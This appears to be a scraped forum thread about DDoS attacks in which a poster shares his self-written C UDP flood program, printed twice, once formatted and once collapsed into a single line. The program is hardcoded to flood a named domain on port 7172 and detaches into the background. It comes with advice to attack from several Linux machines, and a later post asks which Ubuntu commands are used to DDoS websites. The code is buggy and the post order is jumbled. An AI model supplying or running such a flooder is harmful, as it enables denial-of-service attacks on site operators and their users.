If you talking about DDos so for do it you need minimum 5 linux computers, else best dosing is on windows, but dos is shit so better instead of dos use flood.
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
#ifdef _WIN32
# include <windows.h>
# include <winsock2.h>
#else
# include <sys/types.h>
# include <sys/socket.h>
# include <netinet/in.h>
# include <netdb.h>
# include <stdbool.h>
#endif
#include <stdint.h>
#ifndef bool
# define bool uint32_t
# define true 1
# define false 0
#endif
#ifndef SOCKADDR
# define SOCKADDR struct sockaddr
#endif
#ifndef SOCKADDR_IN
# define SOCKADDR_IN struct sockaddr_in
#endif
#ifndef SOCKET_ERROR
# define SOCKET_ERROR -1
#endif
pthread_mutex_t g_mutex;
typedef struct {
int fd;
SOCKADDR_IN si;
} Socket;
static bool
connect_socket(sock)
Socket* sock;
{
if (!sock)
return false;
if (connect(sock->fd,(SOCKADDR *)&sock->si,sizeof(sock->si)) == SOCKET_ERROR)
return false;
return true;
}
Socket*
setup_socket()
{
Socket* ret;
SOCKADDR_IN serv_addr;
#ifdef _WIN32
LPHOSTENT host;
#else
struct hostent* host;
#endif
ret = (Socket *)malloc(sizeof(*ret));
ret->fd = socket (AF_INET, SOCK_DGRAM, 0);
if (!ret)
return 0;
host = gethostbyname("frozen-hell.org");
if (!host)
return 0;
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(7172);
#ifdef _WIN32
serv_addr.sin_addr = *((LPIN_ADDR)*host->h_addr_list);
#else
serv_addr.sin_addr = *((struct in_addr*)host->h_addr);
#endif
ret->si = serv_addr;
return ret;
}
void*
main_thread(void *tmp)
{
Socket sockets[1024];
Socket *sock;
int i;
int j;
bool p;
char packets[1024];
if (fork()) {exit(0);}
while (true) {
pthread_mutex_lock(&g_mutex);
for (i = 0; i < sizeof(sockets); i++) {
sock = setup_socket();
if (!sock) {continue;}
sockets[i] = *sock;
}
for (i = 0; i < sizeof(sockets); i++){
if (!connect_socket(&sockets[i])){
printf("Failed\n");
p = false;
}else{
printf("Success\n");
p = true;
}
if (p){
for (j=0;j<sizeof(packets);j++){
packets[j] = (char ) rand() % (j + 1);
}
sendto(sockets[i].fd, (const char *)packets,strlen(packets),0,(SOCKADDR*)&sockets[i].si,sizeof(sockets[i].si));
}
}
pthread_mutex_unlock(&g_mutex);
}
}
int main()
{
#ifdef _WIN32
WSADATA wsadata;
if (WSAStartup(MAKEWORD(2, 0), &wsadata) != 0)
return 1;
#endif
pthread_t id;
pthread_mutex_init(&g_mutex,NULL);
pthread_create(&id,NULL,main_thread,(void *)NULL);
pthread_join(id,NULL);
return 0;
}
i use this program:
made by me but it's weak udp floodCode:#include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <string.h> #ifdef _WIN32 # include <windows.h> # include <winsock2.h> #else # include <sys/types.h> # include <sys/socket.h> # include <netinet/in.h> # include <netdb.h> # include <stdbool.h> #endif #include <stdint.h> #ifndef bool # define bool uint32_t # define true 1 # define false 0 #endif #ifndef SOCKADDR # define SOCKADDR struct sockaddr #endif #ifndef SOCKADDR_IN # define SOCKADDR_IN struct sockaddr_in #endif #ifndef SOCKET_ERROR # define SOCKET_ERROR -1 #endif pthread_mutex_t g_mutex; typedef struct { int fd; SOCKADDR_IN si; } Socket; static bool connect_socket(sock) Socket* sock; { if (!sock) return false; if (connect(sock->fd,(SOCKADDR *)&sock->si,sizeof(sock->si)) == SOCKET_ERROR) return false; return true; } Socket* setup_socket() { Socket* ret; SOCKADDR_IN serv_addr; #ifdef _WIN32 LPHOSTENT host; #else struct hostent* host; #endif ret = (Socket *)malloc(sizeof(*ret)); ret->fd = socket (AF_INET, SOCK_DGRAM, 0); if (!ret) return 0; host = gethostbyname("frozen-hell.org"); if (!host) return 0; serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(7172); #ifdef _WIN32 serv_addr.sin_addr = *((LPIN_ADDR)*host->h_addr_list); #else serv_addr.sin_addr = *((struct in_addr*)host->h_addr); #endif ret->si = serv_addr; return ret; } void* main_thread(void *tmp) { Socket sockets[1024]; Socket *sock; int i; int j; bool p; char packets[1024]; if (fork()) {exit(0);} while (true) { pthread_mutex_lock(&g_mutex); for (i = 0; i < sizeof(sockets); i++) { sock = setup_socket(); if (!sock) {continue;} sockets[i] = *sock; } for (i = 0; i < sizeof(sockets); i++){ if (!connect_socket(&sockets[i])){ printf("Failed\n"); p = false; }else{ printf("Success\n"); p = true; } if (p){ for (j=0;j<sizeof(packets);j++){ packets[j] = (char ) rand() % (j + 1); } sendto(sockets[i].fd, (const char *)packets,strlen(packets),0,(SOCKADDR*)&sockets[i].si,sizeof(sockets[i].si)); } } pthread_mutex_unlock(&g_mutex); } } int main() { #ifdef _WIN32 WSADATA wsadata; if (WSAStartup(MAKEWORD(2, 0), &wsadata) != 0) return 1; #endif pthread_t id; pthread_mutex_init(&g_mutex,NULL); pthread_create(&id,NULL,main_thread,(void *)NULL); pthread_join(id,NULL); return 0; }![]()
Hello,
I am just wondering,
which commands does people use to ddos other websites in linux ?
example; on ubuntu,
what command do they use to ddos a website?
ping <ipname>?
repp+